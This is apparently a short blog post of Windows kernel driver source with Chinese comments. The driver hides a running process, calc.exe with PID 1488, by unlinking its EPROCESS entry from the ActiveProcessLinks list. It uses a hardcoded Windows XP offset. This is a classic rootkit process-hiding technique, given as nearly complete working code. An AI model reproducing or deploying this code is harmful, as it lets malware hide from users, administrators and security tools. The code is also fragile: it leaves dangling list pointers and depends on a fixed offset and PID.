hgy413

#include <ntifs.h>
 
NTSTATUS RemoveNodeFromActiveProcessLinks(HANDLE ProcessId)
{
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	ULONG_PTR offset = 0;
	PEPROCESS peprocess_obj=NULL;
	PLIST_ENTRY plist = NULL;
	do
	{
		RTL_OSVERSIONINFOEXW osver = {sizeof(RTL_OSVERSIONINFOEXW)};
		if (STATUS_SUCCESS != RtlGetVersion((PRTL_OSVERSIONINFOW)&osver))
		{
			KdPrint(("[RemoveNodeFromActiveProcessLinks]--RtlGetVersion fail\n"));
			break;
		}
 
		// 仅对xp测试
		if (5 == osver.dwMajorVersion
			&&1 == osver.dwMinorVersion)
		{
			offset = 0x88;//可通过windbg查看eprocess中的偏移
		}
 
		if (0 == offset)
		{
			break;
		}
 
		status = PsLookupProcessByProcessId(ProcessId, &peprocess_obj);
		if (!NT_SUCCESS(status))
		{
			break;
		}
 
		// 这里是PEPROCESS对应PLIST_ENTRY,结构体中是EPROCESS对应LIST_ENTRY
		plist = (ULONG_PTR)peprocess_obj+offset;// 得到当前的LIST_ENTRY
		if (MmIsAddressValid(plist))
		{
			RemoveEntryList(plist);
			status = STATUS_SUCCESS;
		}
 
		// 释放引用计数
		ObDereferenceObject(peprocess_obj);
 
	} while (FALSE);
 
	return status;
}
 
 
VOID DDKUnload (IN PDRIVER_OBJECT pDriverObject)
{
 
}
 
NTSTATUS DriverEntry (IN PDRIVER_OBJECT pDriverObject,
					  IN PUNICODE_STRING pRegistryPath)
{
	NTSTATUS status;
	KdPrint(("Enter DriverEntry\n"));
	pDriverObject->DriverUnload = DDKUnload;
 
	// 移走PID=1488的calc.exe
	RemoveNodeFromActiveProcessLinks(1488);
 
	status = STATUS_SUCCESS;
	KdPrint(("DriverEntry end\n"));
	return status;
}